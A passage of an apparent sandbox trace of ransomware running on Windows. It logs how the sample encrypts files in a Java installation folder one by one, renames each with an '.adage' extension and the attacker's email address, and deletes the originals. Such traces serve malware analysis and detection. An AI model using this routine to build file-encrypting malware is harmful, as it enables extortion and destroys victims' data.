(normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.762] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8860) returned 1 [0060.762] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.762] ReadFile (in: hFile=0x180, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x58f, lpOverlapped=0x0) returned 1 [0060.763] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x590, dwBufLen=0x590 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x590) returned 1 [0060.763] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x590, lpOverlapped=0x0) returned 1 [0060.764] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8820) returned 1 [0060.764] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.764] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0060.764] CryptDestroyKey (hKey=0x4d8820) returned 1 [0060.764] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0060.764] CryptDestroyKey (hKey=0x4d8860) returned 1 [0060.765] CloseHandle (hObject=0x180) returned 1 [0060.765] CloseHandle (hObject=0x1a4) returned 1 [0060.766] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt")) returned 1 [0060.767] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.768] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14156) returned 1 [0060.768] CloseHandle (hObject=0x1a4) returned 1 [0060.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0060.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.768] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.769] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.771] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8860) returned 1 [0060.771] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.771] ReadFile (in: hFile=0x1a4, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x374c, lpOverlapped=0x0) returned 1 [0060.919] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x3750, dwBufLen=0x3750 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x3750) returned 1 [0060.919] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x3750, lpOverlapped=0x0) returned 1 [0060.920] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8820) returned 1 [0060.920] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.920] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0060.920] CryptDestroyKey (hKey=0x4d8820) returned 1 [0060.920] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0060.921] CryptDestroyKey (hKey=0x4d8860) returned 1 [0060.921] CloseHandle (hObject=0x1a4) returned 1 [0060.921] CloseHandle (hObject=0x180) returned 1 [0060.922] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\ffjcext.zip")) returned 1 [0060.923] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.924] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=15276) returned 1 [0060.924] CloseHandle (hObject=0x180) returned 1 [0060.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0060.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.924] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.924] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.925] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8860) returned 1 [0060.925] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.925] ReadFile (in: hFile=0x180, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x3bac, lpOverlapped=0x0) returned 1 [0060.969] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x3bb0, dwBufLen=0x3bb0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x3bb0) returned 1 [0060.969] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x3bb0, lpOverlapped=0x0) returned 1 [0060.970] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88e0) returned 1 [0060.970] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.970] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0060.970] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0060.970] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0060.971] CryptDestroyKey (hKey=0x4d8860) returned 1 [0060.971] CloseHandle (hObject=0x180) returned 1 [0060.971] CloseHandle (hObject=0x1a4) returned 1 [0060.972] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash@2x.gif")) returned 1 [0060.973] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.974] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=12250) returned 1 [0060.974] CloseHandle (hObject=0x1a4) returned 1 [0060.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0060.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.974] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.974] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.974] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8860) returned 1 [0060.974] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.974] ReadFile (in: hFile=0x1a4, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x2fda, lpOverlapped=0x0) returned 1 [0060.984] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x2fe0) returned 1 [0060.984] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x2fe0, lpOverlapped=0x0) returned 1 [0060.985] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0060.985] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0060.985] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x50, dwBufLen=0x50 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x50) returned 1 [0060.985] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.985] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x102, lpOverlapped=0x0) returned 1 [0060.986] CryptDestroyKey (hKey=0x4d8860) returned 1 [0060.986] CloseHandle (hObject=0x1a4) returned 1 [0060.986] CloseHandle (hObject=0x180) returned 1 [0060.987] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0060.988] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.070] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=165) returned 1 [0061.070] CloseHandle (hObject=0x180) returned 1 [0061.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0061.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.071] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.071] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.071] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d86a0) returned 1 [0061.071] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.071] ReadFile (in: hFile=0x180, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xa5, lpOverlapped=0x0) returned 1 [0061.072] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0, dwBufLen=0xb0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0) returned 1 [0061.072] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xb0, lpOverlapped=0x0) returned 1 [0061.074] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88e0) returned 1 [0061.074] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.074] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x50, dwBufLen=0x50 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x50) returned 1 [0061.074] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.074] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x102, lpOverlapped=0x0) returned 1 [0061.074] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.074] CloseHandle (hObject=0x180) returned 1 [0061.074] CloseHandle (hObject=0x1a4) returned 1 [0061.075] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0061.076] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.077] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=153) returned 1 [0061.077] CloseHandle (hObject=0x1a4) returned 1 [0061.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0061.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.077] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.077] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.077] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d86a0) returned 1 [0061.078] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.078] ReadFile (in: hFile=0x1a4, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x99, lpOverlapped=0x0) returned 1 [0061.078] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xa0, dwBufLen=0xa0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xa0) returned 1 [0061.079] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xa0, lpOverlapped=0x0) returned 1 [0061.079] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88e0) returned 1 [0061.079] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.079] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x60, dwBufLen=0x60 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x60) returned 1 [0061.080] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.080] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x112, lpOverlapped=0x0) returned 1 [0061.080] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.080] CloseHandle (hObject=0x1a4) returned 1 [0061.080] CloseHandle (hObject=0x180) returned 1 [0061.081] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0061.082] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, 